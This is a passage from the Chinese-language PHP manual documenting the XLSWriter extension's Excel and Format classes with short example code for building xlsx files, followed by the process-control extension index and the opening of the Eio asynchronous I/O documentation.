  • Vtiful\Kernel\Format — The Vtiful\Kernel\Format class
    • Vtiful\Kernel\Format::align — Vtiful\Kernel\Format align
    • Vtiful\Kernel\Format::bold — Vtiful\Kernel\Format bold
    • Vtiful\Kernel\Format::italic — Vtiful\Kernel\Format italic
    • Vtiful\Kernel\Format::underline — Vtiful\Kernel\Format underline

User Contributed Notes

There are no user contributed notes for this page.


简介

An efficient and fast xlsx file export extension.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


需求

XLSWriter requires PHP 7.0 and above.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/xlswriter

User Contributed Notes

There are no user contributed notes for this page.


资源类型

There is one resource used by the procedural version of the XLSWriter extension: returned by fileName() or \Vtiful\Kernel\Format.

User Contributed Notes

There are no user contributed notes for this page.


The Vtiful\Kernel\Excel class

(PECL xlswriter >= 1.2.1)

简介

Create xlsx files and set cells and output xlsx files

类摘要

class Vtiful\Kernel\Excel {
/* 方法 */
public __construct(array $config)
public addSheet(string $sheetName)
public autoFilter(string $scope)
public constMemory(string $fileName, string $sheetName = ?)
public data(array $data)
public fileName(string $fileName, string $sheetName = ?)
public getHandle()
public header(array $headerData)
public insertFormula(int $row, int $column, string $formula)
public insertImage(int $row, int $column, string $localImagePath)
public insertText(
int $row,
int $column,
int|float|string $data,
string $format = ?
)
public mergeCells(string $scope, string $data)
public output()
public setColumn(string $range, float $width, resource $format = ?)
public setRow(string $range, float $height, resource $format = ?)
}

Table of Contents

  • Vtiful\Kernel\Excel::addSheet — Vtiful\Kernel\Excel addSheet
  • Vtiful\Kernel\Excel::autoFilter — Vtiful\Kernel\Excel autoFilter
  • Vtiful\Kernel\Excel::constMemory — Vtiful\Kernel\Excel constMemory
  • Vtiful\Kernel\Excel::__construct — Vtiful\Kernel\Excel constructor
  • Vtiful\Kernel\Excel::data — Vtiful\Kernel\Excel data
  • Vtiful\Kernel\Excel::fileName — Vtiful\Kernel\Excel fileName
  • Vtiful\Kernel\Excel::getHandle — Vtiful\Kernel\Excel getHandle
  • Vtiful\Kernel\Excel::header — Vtiful\Kernel\Excel header
  • Vtiful\Kernel\Excel::insertFormula — Vtiful\Kernel\Excel insertFormula
  • Vtiful\Kernel\Excel::insertImage — Vtiful\Kernel\Excel insertImage
  • Vtiful\Kernel\Excel::insertText — Vtiful\Kernel\Excel insertText
  • Vtiful\Kernel\Excel::mergeCells — Vtiful\Kernel\Excel mergeCells
  • Vtiful\Kernel\Excel::output — Vtiful\Kernel\Excel output
  • Vtiful\Kernel\Excel::setColumn — Vtiful\Kernel\Excel setColumn
  • Vtiful\Kernel\Excel::setRow — Vtiful\Kernel\Excel setRow

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel addSheet

  • ? Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel::autoFilter ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel addSheet

Vtiful\Kernel\Excel::addSheet

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::addSheet — Vtiful\Kernel\Excel addSheet

说明

public Vtiful\Kernel\Excel::addSheet(string $sheetName)

Create a new worksheet in the xlsx file.

参数

sheetName

Worksheet name

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age'])
->data([
['viest', 23],
['wjx', 23]
]);

$file->addSheet('sheet_two')
->header(['name', 'age'])
->data([
['james', 33],
['king', 33]
]);

$file->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel autoFilter

  • ? Vtiful\Kernel\Excel::addSheet
  • Vtiful\Kernel\Excel::constMemory ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel autoFilter

Vtiful\Kernel\Excel::autoFilter

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::autoFilter — Vtiful\Kernel\Excel autoFilter

说明

public Vtiful\Kernel\Excel::autoFilter(string $scope)

Add autofilter to a worksheet.

参数

scope

Cell start and end coordinate string.

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName('test.xlsx')
->header(['name', 'age'])
->data($data)
->autoFilter('A1:B11') // auto filter
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel constMemory

  • ? Vtiful\Kernel\Excel::autoFilter
  • Vtiful\Kernel\Excel::__construct ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel constMemory

Vtiful\Kernel\Excel::constMemory

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::constMemory — Vtiful\Kernel\Excel constMemory

说明

public Vtiful\Kernel\Excel::constMemory(string $fileName, string $sheetName = ?)

Write a large file with constant memory usage.

参数

fileName

XLSX file name

sheetName

Worksheet name

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => '/home/viest'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $instance->constMemory('tutorial.xlsx', 'sheet');
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel constructor

  • ? Vtiful\Kernel\Excel::constMemory
  • Vtiful\Kernel\Excel::data ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel constructor

Vtiful\Kernel\Excel::__construct

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::__construct — Vtiful\Kernel\Excel constructor

说明

public Vtiful\Kernel\Excel::__construct(array $config)

Vtiful\Kernel\Excel constructor, create a class object.

参数

config

XLSX file export configuration

示例

Example #1 example

<?php
$config = [
'path' => '/home/viest'
];

$excelObject = new \Vtiful\Kernel\Excel($config);
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel data

  • ? Vtiful\Kernel\Excel::__construct
  • Vtiful\Kernel\Excel::fileName ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel data

Vtiful\Kernel\Excel::data

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::data — Vtiful\Kernel\Excel data

说明

public Vtiful\Kernel\Excel::data(array $data)

Write a data in the worksheet.

参数

data

worksheet data

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age'])
->data([
['viest', 23],
['wjx', 23],
]);
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel fileName

  • ? Vtiful\Kernel\Excel::data
  • Vtiful\Kernel\Excel::getHandle ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel fileName

Vtiful\Kernel\Excel::fileName

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::fileName — Vtiful\Kernel\Excel fileName

说明

public Vtiful\Kernel\Excel::fileName(string $fileName, string $sheetName = ?)

Create a brand new xlsx file and create a worksheet.

参数

fileName

XLSX file name

sheetName

Worksheet name

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => '/home/viest'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $instance->fileName('tutorial.xlsx', 'sheet');
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel getHandle

  • ? Vtiful\Kernel\Excel::fileName
  • Vtiful\Kernel\Excel::header ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel getHandle

Vtiful\Kernel\Excel::getHandle

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::getHandle — Vtiful\Kernel\Excel getHandle

说明

public Vtiful\Kernel\Excel::getHandle()

Get the xlsx text resource handle.

参数

此函数没有参数。

返回值

Resource

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age']);

$handle = $file->getHandle();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel header

  • ? Vtiful\Kernel\Excel::getHandle
  • Vtiful\Kernel\Excel::insertFormula ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel header

Vtiful\Kernel\Excel::header

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::header — Vtiful\Kernel\Excel header

说明

public Vtiful\Kernel\Excel::header(array $headerData)

Write a header in the worksheet.

参数

headerData

worksheet header data

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age']);
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel insertFormula

  • ? Vtiful\Kernel\Excel::header
  • Vtiful\Kernel\Excel::insertImage ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel insertFormula

Vtiful\Kernel\Excel::insertFormula

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertFormula — Vtiful\Kernel\Excel insertFormula

说明

public Vtiful\Kernel\Excel::insertFormula(int $row, int $column, string $formula)

Insert calculation formula.

参数

row

cell row

column

cell column

formula

formula string

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx")
->header(['name', 'money']);

for($index = 1; $index < 10; $index++) {
$file->insertText($index, 0, 'viest');
$file->insertText($index, 1, 10);
}

$file->insertText(12, 0, "Total");
$file->insertFormula(12, 1, '=SUM(B2:B11)'); // insert formula

$file->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel insertImage

  • ? Vtiful\Kernel\Excel::insertFormula
  • Vtiful\Kernel\Excel::insertText ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel insertImage

Vtiful\Kernel\Excel::insertImage

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertImage — Vtiful\Kernel\Excel insertImage

说明

public Vtiful\Kernel\Excel::insertImage(int $row, int $column, string $localImagePath)

Insert a local image into the cell.

参数

row

cell row

column

cell column

localImagePath

local image path

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx");

$file->insertImage(5, 0, '/vagrant/ASW-G-66.jpg');

$file->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel insertText

  • ? Vtiful\Kernel\Excel::insertImage
  • Vtiful\Kernel\Excel::mergeCells ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel insertText

Vtiful\Kernel\Excel::insertText

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertText — Vtiful\Kernel\Excel insertText

说明

public Vtiful\Kernel\Excel::insertText(
int $row,
int $column,
int|float|string $data,
string $format = ?
)

Write text in a cell.

参数

row

cell row

column

cell column

data

data to be written

format

String format

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx")
->header(['name', 'money']);

for ($index = 0; $index < 10; $index++) {
$file->insertText($index+1, 0, 'viest');
$file->insertText($index+1, 1, 10000, '#,##0');
}

$textFile->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel mergeCells

  • ? Vtiful\Kernel\Excel::insertText
  • Vtiful\Kernel\Excel::output ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel mergeCells

Vtiful\Kernel\Excel::mergeCells

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::mergeCells — Vtiful\Kernel\Excel mergeCells

说明

public Vtiful\Kernel\Excel::mergeCells(string $scope, string $data)

Merge Cells.

参数

scope

cell start and end coordinate strings

data

string data

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$excel->fileName("test.xlsx")
->mergeCells('A1:C1', 'Merge cells')
->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel output

  • ? Vtiful\Kernel\Excel::mergeCells
  • Vtiful\Kernel\Excel::setColumn ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel output

Vtiful\Kernel\Excel::output

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::output — Vtiful\Kernel\Excel output

说明

public Vtiful\Kernel\Excel::output()

Output xlsx file to disk.

参数

此函数没有参数。

返回值

XLSX file path;

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$fileObject = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
->header(['name', 'age'])
->data([
['viest', 23],
['wjx', 23],
]);

$path = $file->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel setColumn

  • ? Vtiful\Kernel\Excel::output
  • Vtiful\Kernel\Excel::setRow ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel setColumn

Vtiful\Kernel\Excel::setColumn

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::setColumn — Vtiful\Kernel\Excel setColumn

说明

public Vtiful\Kernel\Excel::setColumn(string $range, float $width, resource $format = ?)

Set the format of the column.

参数

range

cell start and end coordinate strings

width

column width

format

cell format resource

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $boldStyle)
->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel setRow

  • ? Vtiful\Kernel\Excel::setColumn
  • Vtiful\Kernel\Format ?
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel setRow

Vtiful\Kernel\Excel::setRow

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::setRow — Vtiful\Kernel\Excel setRow

说明

public Vtiful\Kernel\Excel::setRow(string $range, float $height, resource $format = ?)

Set the format of the column.

参数

range

cell start and end coordinate strings

height

row height

format

cell format resource

返回值

Vtiful\Kernel\Excel instance

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setRow('A1', 20, $boldStyle,)
->output();

User Contributed Notes

There are no user contributed notes for this page.


The Vtiful\Kernel\Format class

(PECL xlswriter >= 1.2.1)

简介

Create a cell format object

类摘要

class Vtiful\Kernel\Format {
/* 常量 */
const int FORMAT_ALIGN_LEFT = 1;
const int FORMAT_ALIGN_CENTER = 2;
const int FORMAT_ALIGN_RIGHT = 3;
const int FORMAT_ALIGN_FILL = 4;
const int FORMAT_ALIGN_JUSTIFY = 5;
const int FORMAT_ALIGN_CENTER_ACROSS = 6;
const int FORMAT_ALIGN_DISTRIBUTED = 7;
const int FORMAT_ALIGN_VERTICAL_TOP = 8;
const int FORMAT_ALIGN_VERTICAL_BOTTOM = 9;
const int FORMAT_ALIGN_VERTICAL_CENTER = 10;
const int FORMAT_ALIGN_VERTICAL_JUSTIFY = 11;
const int FORMAT_ALIGN_VERTICAL_DISTRIBUTED = 12;
const int UNDERLINE_SINGLE = 1;
const int UNDERLINE_DOUBLE = 2;
const int UNDERLINE_SINGLE_ACCOUNTING = 3;
const int UNDERLINE_DOUBLE_ACCOUNTING = 4;
/* 方法 */
public align(resource $handle, int $style)
public bold(resource $handle)
public italic(resource $handle)
public underline(resource $handle, int $style)
}

预定义常量

Vtiful\Kernel\Format::FORMAT_ALIGN_LEFT

Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER

Vtiful\Kernel\Format::FORMAT_ALIGN_RIGHT

Vtiful\Kernel\Format::FORMAT_ALIGN_FILL

Vtiful\Kernel\Format::FORMAT_ALIGN_JUSTIFY

Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER_ACROSS

Vtiful\Kernel\Format::FORMAT_ALIGN_DISTRIBUTED

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_TOP

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_BOTTOM

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_CENTER

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_JUSTIFY

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_DISTRIBUTED

Vtiful\Kernel\Format::UNDERLINE_SINGLE

Vtiful\Kernel\Format::UNDERLINE_DOUBLE

Vtiful\Kernel\Format::UNDERLINE_SINGLE_ACCOUNTING

Vtiful\Kernel\Format::UNDERLINE_DOUBLE_ACCOUNTING

Table of Contents

  • Vtiful\Kernel\Format::align — Vtiful\Kernel\Format align
  • Vtiful\Kernel\Format::bold — Vtiful\Kernel\Format bold
  • Vtiful\Kernel\Format::italic — Vtiful\Kernel\Format italic
  • Vtiful\Kernel\Format::underline — Vtiful\Kernel\Format underline

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format align

  • ? Vtiful\Kernel\Format
  • Vtiful\Kernel\Format::bold ?
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format align

Vtiful\Kernel\Format::align

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::align — Vtiful\Kernel\Format align

说明

public Vtiful\Kernel\Format::align(resource $handle, int $style)

set cell align

参数

handle

xlsx file handle

style

Vtiful\Kernel\Format constant

返回值

Resource

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$alignStyle = \Vtiful\Kernel\Format::align($fileHandle, \Vtiful\Kernel\Format::FORMAT_ALIGN_LEFT);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $align)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format bold

  • ? Vtiful\Kernel\Format::align
  • Vtiful\Kernel\Format::italic ?
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format bold

Vtiful\Kernel\Format::bold

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::bold — Vtiful\Kernel\Format bold

说明

public Vtiful\Kernel\Format::bold(resource $handle)

Vtiful\Kernel\Format bold format

参数

handle

xlsx file handle

返回值

Resource

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $boldStyle)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format italic

  • ? Vtiful\Kernel\Format::bold
  • Vtiful\Kernel\Format::underline ?
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format italic

Vtiful\Kernel\Format::italic

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::italic — Vtiful\Kernel\Format italic

说明

public Vtiful\Kernel\Format::italic(resource $handle)

Vtiful\Kernel\Format italic format

参数

handle

xlsx file handle

返回值

Resource

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$italicStyle = \Vtiful\Kernel\Format::italic($fileHandle);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $italicStyle)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format underline

  • ? Vtiful\Kernel\Format::italic
  • 进程控制扩展 ?
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format underline

Vtiful\Kernel\Format::underline

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::underline — Vtiful\Kernel\Format underline

说明

public Vtiful\Kernel\Format::underline(resource $handle, int $style)

Vtiful\Kernel\Format underline format

参数

handle

xlsx file handle

style

Vtiful\Kernel\Format constant

返回值

Resource

示例

Example #1 example

<?php
$config = [
'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$underlineStyle = \Vtiful\Kernel\Format::underline($fileHandle, \Vtiful\Kernel\Format::UNDERLINE_SINGLE);

$fileObject->header(['name', 'age'])
->data([['viest', 21]])
->setColumn('A:A', 200, $underlineStyle)
->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


进程控制扩展

  • Eio
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Eio 函数
  • Ev
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Watchers
    • Watcher callbacks
    • Periodic watcher operation modes
    • Ev — The Ev class
    • EvCheck — The EvCheck class
    • EvChild — The EvChild class
    • EvEmbed — The EvEmbed class
    • EvFork — The EvFork class
    • EvIdle — The EvIdle class
    • EvIo — The EvIo class
    • EvLoop — The EvLoop class
    • EvPeriodic — The EvPeriodic class
    • EvPrepare — The EvPrepare class
    • EvSignal — The EvSignal class
    • EvStat — The EvStat class
    • EvTimer — The EvTimer class
    • EvWatcher — The EvWatcher class
  • Expect
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Expect 函数
  • PCNTL — 进程控制
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • PCNTL 函数
  • POSIX
    • 简介
    • 安装/配置
    • 预定义常量
    • POSIX 函数
  • 程序执行 — 系统程序执行
    • 简介
    • 安装/配置
    • 预定义常量
    • 程序执行函数
  • parallel
    • 简介
    • Installation
    • Philosophy
    • Functional API
    • parallel\Runtime — The parallel\Runtime class
    • parallel\Future — The parallel\Future class
    • parallel\Channel — The parallel\Channel class
    • parallel\Events — The parallel\Events class
    • parallel\Events\Input — The parallel\Events\Input class
    • parallel\Events\Event — The parallel\Events\Event class
    • parallel\Events\Event\Type — The parallel\Events\Event\Type class
    • parallel\Sync — The parallel\Sync class
  • pthreads
    • 简介
    • 安装/配置
    • 预定义常量
    • Threaded — Threaded 类
    • Thread — Thread 类
    • Worker — Worker 类
    • Collectable — The Collectable interface
    • Pool — Pool 类
    • Volatile — The Volatile class
  • Semaphore — Semaphore, Shared Memory and IPC
    • 简介
    • 安装/配置
    • 预定义常量
    • Semaphore 函数
    • SysvMessageQueue — The SysvMessageQueue class
    • SysvSemaphore — The SysvSemaphore class
    • SysvSharedMemory — The SysvSharedMemory class
  • Shared Memory
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Shared Memory 函数
    • Shmop — The Shmop class
  • Sync
    • 简介
    • 安装/配置
    • 预定义常量
    • SyncMutex — The SyncMutex class
    • SyncSemaphore — The SyncSemaphore class
    • SyncEvent — The SyncEvent class
    • SyncReaderWriter — The SyncReaderWriter class
    • SyncSharedMemory — The SyncSharedMemory class

User Contributed Notes

There are no user contributed notes for this page.


Eio

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Eio 函数
    • eio_busy — Artificially increase load. Could be useful in tests, benchmarking
    • eio_cancel — Cancels a request
    • eio_chmod — Change file/directory permissions
    • eio_chown — Change file/directory permissions
    • eio_close — Close file
    • eio_custom — Execute custom request like any other eio_* call
    • eio_dup2 — Duplicate a file descriptor
    • eio_event_loop — Polls libeio until all requests proceeded
    • eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file
    • eio_fchmod — Change file permissions
    • eio_fchown — Change file ownership
    • eio_fdatasync — Synchronize a file's in-core state with storage device
    • eio_fstat — Get file status
    • eio_fstatvfs — Get file system statistics
    • eio_fsync — Synchronize a file's in-core state with storage device
    • eio_ftruncate — Truncate a file
    • eio_futime — Change file last access and modification times
    • eio_get_event_stream — Get stream representing a variable used in internal communications with libeio
    • eio_get_last_error — Returns string describing the last error associated with a request resource
    • eio_grp_add — Adds a request to the request group
    • eio_grp_cancel — Cancels a request group
    • eio_grp_limit — Set group limit
    • eio_grp — Creates a request group
    • eio_init — (Re-)initialize Eio
    • eio_link — Create a hardlink for file
    • eio_lstat — Get file status
    • eio_mkdir — Create directory
    • eio_mknod — Create a special or ordinary file
    • eio_nop — Does nothing, except go through the whole request cycle
    • eio_npending — Returns number of finished, but unhandled requests
    • eio_nready — Returns number of not-yet handled requests
    • eio_nreqs — Returns number of requests to be processed
    • eio_nthreads — Returns number of threads currently in use
    • eio_open — Opens a file
    • eio_poll — Can be to be called whenever there are pending requests that need finishing
    • eio_read — Read from a file descriptor at given offset
    • eio_readahead — Perform file readahead into page cache
    • eio_readdir — Reads through a whole directory
    • eio_readlink — Read value of a symbolic link
    • eio_realpath — Get the canonicalized absolute pathname
    • eio_rename — Change the name or location of a file
    • eio_rmdir — Remove a directory
    • eio_seek — Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence
    • eio_sendfile — Transfer data between file descriptors
    • eio_set_max_idle — Set maximum number of idle threads
    • eio_set_max_parallel — Set maximum parallel threads
    • eio_set_max_poll_reqs — Set maximum number of requests processed in a poll
    • eio_set_max_poll_time — Set maximum poll time
    • eio_set_min_parallel — Set minimum parallel thread number
    • eio_stat — Get file status
    • eio_statvfs — Get file system statistics
    • eio_symlink — Create a symbolic link
    • eio_sync_file_range — Sync a file segment with disk
    • eio_sync — Commit buffer cache to disk
    • eio_syncfs — Calls Linux' syncfs syscall, if available
    • eio_truncate — Truncate a file
    • eio_unlink — Delete a name and possibly the file it refers to
    • eio_utime — Change file last access and modification times
    • eio_write — Write to file

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension provides asyncronous POSIX I/O by means of » libeio C library written by Marc Lehmann.

Note: 此扩展在 Windows 平台上不可用。

Warning

It is important to be aware that each request is executed in a thread, and the order of execution of continuously queued requests basically is unpredictable. For instance, the following piece of code is incorrect.

Example #1 Incorrect requests

<?php
// Request to create symlink of $filename to $link
eio_symlink($filename, $link);

// Request to move $filename to $new_filename
eio_rename($filename, $new_filename);

// Process requests
eio_event_loop();
?>
In the example above eio_rename() request may finish before eio_symlink(). To fix it you might call eio_rename() in the callback of eio_symlink():

Example #2 Calling request from a request callback

<?php
function my_symlink_done($filename, $result) {
// Request to move $filename to $new_filename
eio_rename($filename, "/path/to/new-name");

// Process requests
eio_event_loop();
}

// Request to create symlink of $filename to $link
eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_done", $filename);

// Process requests
eio_event_loop();
?>
Alternatively, you might want to create a request group:

Example #3 Calling request from a request callback

<?php
/* Is called when the group requests are done */
function my_grp_done($data, $result) {
// ...
}

function my_symlink_done($filename, $result) {
// Create eio_rename request and add it to the group
$req = eio_rename($filename, "/path/to/new-name");
eio_grp_add($grp, $req);
// You might want to add more requests...
}

// Create a request group
$grp = eio_grp("my_grp_done", "my_grp_data");

// Create eio_symlink request and add it to the group
// Pass $filename to the callback
$req = eio_symlink($filename, $link,
EIO_PRI_DEFAULT, "my_symlink_done", $filename);
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>
Group is a special kind of request that could accumulate a set of regular eio requests. This could be used to create a complex request that opens, reads and closes a file.

Since version 0.3.0 alpha, a variable used in communications with libeio internally, could be retrieved with eio_get_event_stream(). The variable could be used to bind to an event loop supported by some other extension. You might organize a simple event loop where eio and libevent work together:

Example #4 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
/* Some libevent regulation might go here .. */
if (eio_nreqs()) {
eio_poll();
}
/* .. and here */
}

function my_res_cb($d, $r) {
var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

// This stream is used to bind with libevent
$fd = eio_get_event_stream();

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension has » libeio library embedded. So you do NOT need to install libeio separately.

User Contributed Notes

There are no user contributed notes for this page.


安装

